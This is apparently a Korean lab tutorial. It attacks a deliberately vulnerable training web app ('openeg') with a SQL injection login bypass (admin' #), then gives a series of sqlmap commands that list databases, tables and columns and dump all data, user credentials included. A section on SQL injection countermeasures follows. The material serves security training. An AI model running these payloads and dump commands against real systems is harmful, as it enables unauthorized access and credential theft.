openeg sqlmap 공격 / SQL Injection 보안 대책

openeg sqlmap 공격

 

(1) Kali Linux에서 http://victim:8080/openeg사이트로 이동하여 로그인 합니다.

아이디 : admin' #

패스워드 : 1234

로그인 시도
관리자로 로그인

=> 관리자로 로그인됩니다.

=> 해당 사이트의 로그인 페이지는 SQL Injection 취약점이 존재합니다.

 

(2) Kali Linux에서 sqlmap을 설치합니다.

$ sudo apt update

$ sudo apt install sqlmap -y

 

(3) sqlmap을 사용하여 공격을 시도합니다.

(3)-1 $ sqlmap -u http://victim:8080/openeg/login.do

-u는 공격할 타겟 주소를 주기 위해 사용합니다. -u 뒤에는 취약한 페이지 주소를 넣습니다.

옵션은 Default로 enter

=> 명령어를 입력하면 세션ID가 없어서 작업할 수 없다고 합니다. 명령어로 입력한 취약한 페이지의 주소는 로그인 페이지입니다. 즉, 세션ID 없이도 접근 가능해야합니다. 다른 방법으로 접근해보겠습니다.

=> 로그인 페이지기 때문에 넘어가는 데이터를 분석을 해서 그 데이터에 직접 요청을 시도해봐야합니다. 그에 대한 옵션을 밑에서 알려주고 있습니다.( --forms --crawl=2)

 

(3)-2 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2

옵션은 Default로 enter

최종적으로 나오는 보고서를 확인합니다.

=> 백엔드 DB는 MySQL을 사용합니다.

=> 애플리케이션은 JSP를 사용하여 구현이 되어 있습니다

=> MySQL버전은 5.0보다 높을 것이다.

 

(4) 데이터베이스 목록을 조회합니다.

 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs

옵션은 Default로 enter

=> 애플리케이션에서 가지고 있는 DB목록이 조회됩니다.

=> 그 중 openeg를 살펴보겠습니다.

 

(5) openeg가 가지고 있는 테이블 정보를 조회합니다.

 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs -D openeg --tables

=> openeg DB의 테이블 목록을 확인할 수 있습니다(5개)

=> 그 중 board_member의 컬럼 정보를 살펴보겠습니다.

 

(6) board_member의 컬럼 정보를 조회합니다.

 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs -D openeg -T board_member --columns

=> 컬럼명과 타입까지 확인할 수 있습니다.

=> 마지막으로 board_member 테이블의 데이터를 살펴보겠습니다. 

 

(7) board_member의 데이터를 조회합니다.

 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs -D openeg -T board_member --dump

=> 데이터 전체를 확인할 수 있습니다.

=> 로그인할 수 있는 ID와 PW를 확인할 수 있습니다. 

 

 $ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dump

=> 모든 테이블의 모든 데이터를 다 가져올 수 있습니다. 

=> 데이터베이스의 내용을 쉽게 읽어올 수 있습니다.


SQL 보안 대책

(1) 구조화된 쿼리를 이용해서 쿼리문을 정의하고 실행합니다.

- 쿼리문의 구조를 정의하고 정의 쿼리문에 값을 바인딩 하는 형식 사용

- PreparedStatement 객체를 이용

 

(2) 입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용합니다.

- 조작 문자열을 제거하고 사용

- 이스케이프 처리(안전한 형태로 변경 후 사용)

 

(3) iBatis, myBatis 같은 프레임워크를 사용하는 경우 외부 입력값을 쿼리 맵에 적용할 때, 반드리 # 기호를 사용합니다.

이클립스에서 Ctrl + Shift + R을 눌러 login.xml을 검색합니다.

[취약한 코드]

=> $ 기호를 사용하면 변수 값이 문자열이 결합하는 형태로 처리됩니다.

 

[안전한 코드]

=> 외부에서 입력된 값을 적용할 때는 #을 사용하는 것이 좋습니다.

=> 변수의 데이터 타입은 고려하지 않습니다.

 

(4) 오류 메세지에 시스템 중요 정보가 포함되지 않도록 합니다.

시스템 내부에 오류가 발생하는 경우, 로그를 통해서 관리하는 오류에 대한 구체적인 내용이 메세지로 출력되면 안됩니다. 일반화된 메세지가 제공되도록 해야합니다.

 

(5) 애플리케이션에 사용하는 DB 사용자 계정의 권한을 최소한으로 설정합니다.

- 시스템 Table, View, Stored Procedure에 접근 권한을 제거

- Union Based SQL Injection과 같은 형태의 공격이 이루어지는 것을 예방

 

(4),(5)는 SQL Injection 공격을 직접적으로 방어하는 것이 아니라 SQL Injection 공격이 심화, 확산 되는 것을 방어하는 방법입니다.